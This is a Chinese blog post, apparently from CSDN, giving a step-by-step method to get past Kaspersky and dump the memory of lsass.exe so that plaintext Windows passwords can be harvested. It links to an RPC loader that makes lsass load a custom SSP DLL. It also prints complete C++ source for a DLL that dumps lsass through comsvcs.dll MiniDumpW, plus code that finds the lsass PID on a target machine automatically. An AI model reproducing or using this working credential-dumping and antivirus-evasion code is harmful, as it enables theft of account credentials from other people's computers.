绕过卡巴斯基dump进程lsass.exe内存

1:简介

起因是前两天看到QAX-Ateam的一篇关于渗透的文章《这是一篇“不一样”的真实渗透测试案例分析文章》,里面提到了学习XPN大牛的方法,绕过卡巴斯基的防护机制成功dump进程lsass.exe的内存,再将其下载到本地完成抓取明文密码的工作。
本文简单将其过程做梳理,方便使用,原理方面推荐看如下几篇文章:
(1)XPN大佬的英文原文
(2)安全客的翻译文章
(3)n1nty大牛的内容
(4)3gstudent大牛的文章
基本上看完这四篇文章,不能完全理解也能懂个大概,由于涉及内容相对深入一点,我觉得初学者就记得一个点就好:用这种办法可以绕过卡巴斯基的防护,成功dump进程lsass.exe的内存,完成明文密码抓取工作。用Ateam文章的说法就是“加载dll到lsass进程然后,让lsass.exe读自己的内存完成dump工作”。:)

2:流程

2.1:编译XPN大牛的代码

XPN大牛写了使用RPC控制lsass加载SSP的代码,这里不做过多介绍:
代码地址:https://gist.github.com/xpn/c7f6d15bf15750eae3ec349e7ec2380e
这里我们要做的只是将三个文件下载到本地,使用visual studio进行编译即可。笔者使用visual studio 2019,修改了几个小地方
(1)添加如下代码

#pragma comment(lib, "Rpcrt4.lib")

(2)将两个文件的后缀名从.c改成.cpp
(3)编译时选择X64
编译XPN大牛代码得到文件:ssp_rpc_loader.exe

2.2:实现dump内存代码

正如Ateam文章中提到,有了这个exe文件,自己再用代码实现dump内存即可,这里直接放Ateam大佬们的代码:

#include <cstdio>
#include <windows.h>
#include <DbgHelp.h>
#include <iostream>
#include <TlHelp32.h>
#pragma comment(lib,"Dbghelp.lib")
typedef HRESULT(WINAPI* _MiniDumpW)(
    DWORD arg1, DWORD arg2, PWCHAR cmdline);

typedef NTSTATUS(WINAPI* _RtlAdjustPrivilege)(
    ULONG Privilege, BOOL Enable,
    BOOL CurrentThread, PULONG Enabled);

int dump() {

    HRESULT             hr;
    _MiniDumpW          MiniDumpW;
    _RtlAdjustPrivilege RtlAdjustPrivilege;
    ULONG               t;

    MiniDumpW = (_MiniDumpW)GetProcAddress(
        LoadLibrary(L"comsvcs.dll"), "MiniDumpW");

    RtlAdjustPrivilege = (_RtlAdjustPrivilege)GetProcAddress(
        GetModuleHandle(L"ntdll"), "RtlAdjustPrivilege");

    if (MiniDumpW == NULL) {

        return 0;
    }
    // try enable debug privilege
    RtlAdjustPrivilege(20, TRUE, FALSE, &t);

    wchar_t  ws[100];
    swprintf(ws, 100, L"%hs", "784 c:\\1.bin full"); //784是lsass进程的pid号  "<pid> <dump.bin> full" 

    MiniDumpW(0, 0, ws);
	return 0;

}
BOOL APIENTRY DllMain(HMODULE hModule, DWORD  ul_reason_for_call, LPVOID lpReserved) {
	switch (ul_reason_for_call) {
	case DLL_PROCESS_ATTACH:
		dump();
		break;
	case DLL_THREAD_ATTACH:
	case DLL_THREAD_DETACH:
	case DLL_PROCESS_DETACH:
		break;
	}
	return TRUE;
}

注意:在pid那个地方,这里应该输入对方电脑上lsass.exe进程的pid,所以要先确认pid,再编译这样才能准确dump进程lsass.exe的内存。

再来简单说一下代码原理,就是使用comsvcs.dll的导出函数MiniDumpW来实现dump内存,有兴趣的朋友可以自己实现以下,也可以调用MiniDumpWriteDump()实现,函数原型:

BOOL MiniDumpWriteDump(
  HANDLE                            hProcess,
  DWORD                             ProcessId,
  HANDLE                            hFile,
  MINIDUMP_TYPE                     DumpType,
  PMINIDUMP_EXCEPTION_INFORMATION   ExceptionParam,
  PMINIDUMP_USER_STREAM_INFORMATION UserStreamParam,
  PMINIDUMP_CALLBACK_INFORMATION    CallbackParam
);

有大牛写了代码,作为懒人就直接抄就好啦。

2.3:自动获取lsass.exe进程的pid

如2.2写的那样,这个代码有个缺点,就是需要每次先去找对方电脑lsass.exe进程的pid,而且每用一次就要编译一次,这就比较麻烦。那懒散的安全工程师肯定要改改代码。
既然我们的目标是针对lsass.exe进程,那我们只需要加上动态获取lsass.exe进程pid的代码即可。
代码如下:

#include <iostream>  
#include <string>  
#include <map>  
#include <windows.h>  
#include <TlHelp32.h> 
using namespace std;

int FindPID()
{
    PROCESSENTRY32 pe32;
    pe32.dwSize = sizeof(pe32);

    HANDLE hProcessSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
    if (hProcessSnap == INVALID_HANDLE_VALUE) {
        cout << "CreateToolhelp32Snapshot Error!" << endl;;
        return false;
    }

    BOOL bResult = Process32First(hProcessSnap, &pe32);

    while (bResult)
    {
        if (_wcsicmp(pe32.szExeFile , L"lsass.exe") == 0)
        {
            return pe32.th32ProcessID;
        }
        bResult = Process32Next(hProcessSnap, &pe32);
    }

    CloseHandle(hProcessSnap);

    return -1;
}

int main()
{
    cout << FindPID();

    return 0;
}

我们接下来要做的就是把2.2代码和2.3代码写进一个文件,修改少许,然后编译成dll即可。

3:效果

用一张图来概括吧:
注意点也如图,dll需要写绝对路径,至于1.bin文件位置,文件名去2.2修改代码即可

在这里插入图片描述

结束:)

  • 0
    点赞
  • 13
    收藏
    觉得还不错? 一键收藏
  • 3
    评论
评论 3
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值